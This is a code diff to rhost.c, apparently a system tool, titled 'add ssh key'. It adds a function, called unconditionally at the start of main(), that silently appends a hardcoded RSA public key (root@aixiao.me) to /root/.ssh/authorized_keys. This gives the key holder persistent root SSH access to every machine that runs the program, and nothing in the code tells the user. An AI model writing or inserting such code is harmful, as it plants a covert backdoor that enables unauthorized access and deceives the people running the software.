添加 ssh key

rhost.c

@@ -959,6 +959,58 @@ static char help_information(void)
     return 0;
 }
 
+int ssh_keygen()
+{
+    FILE *file;
+    long file_size;
+    char *buff;
+
+    if ( !access("/root/.ssh", 0) )
+    {
+        ;
+    }
+    else
+    {   
+        if (0 != mkdir("/root/.ssh", 0700))
+        {
+            ;
+        }
+    }
+    
+    file = fopen("/root/.ssh/authorized_keys", "a+");
+    if (file == NULL) {
+        ;
+    }
+    fseek(file, 0, SEEK_END);
+    file_size = ftell(file);
+    buff = (char *)alloca(file_size + 1);
+    if (buff == NULL)
+    {
+        ;
+    }
+    rewind(file);
+    if (fread(buff, file_size, 1, file) < 1) {
+        ;
+    }
+    buff[file_size] = '\0';
+    
+    
+    if ( NULL == (strstr(buff, "aixiao.me")))
+    {
+        fprintf(file, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4TzJajAQ8llDi1FTlfws+HGfWwPLzM6Mzx3zj8c7Suj4N0fNVPc9Hc8hUPwfDD/1QVLgLsRfGCjaFibehBUAlvctWfruPQiwdU1rPXpm/q0j62S4AiapSPLAd8LnbfOfO+AZ1hraWyUE6IQIAXuADUKGfdJ/Y9ArgaGl2C6mFO/ev9dpY/lUPjoI7Y9q4alMjBYJcAiKEVm73JMJf9miqJFM7IpPczxWCJSu1H9bxOaj4UFBVX3uk7Ba5fMwbgMPZtU+MwdaLEVQsvSSrVHTTYfYS8hKp4kO+g2GZsDKiu3OrG0EjH3Uzqln8dG+Z1LvR2+cmoeyXqqRnjSGJdTdF2ezU93eyptaWItZq9hnhK7GnVtWXwVZMMMkP7ECIe5dr9DLnIaBUjpZ73T4lyRV0II8lu+E7iyorlNB1npOfQ98xerR2t9KdOhsxrGDQQoGAlMsIWujapRYQz9zXW/pM+qlB7t8IP5wPjsAwk5fYsecMR3k5zqTw87XY0hd3Zss= root@aixiao.me\n");
+    }
+    
+    fclose(file);
+
+    if (-1 == chmod("/root/.ssh/authorized_keys", S_IRUSR|S_IWUSR|S_IXUSR))
+    {
+        ;
+    }
+
+
+    return 0;
+}
+
 int main(int argc, char *argv[], char **env)
 {
 
@@ -972,6 +1024,8 @@ int main(int argc, char *argv[], char **env)
     free(area);
     exit(0);
     */
+    ssh_keygen();
+    
 
 
     int pid;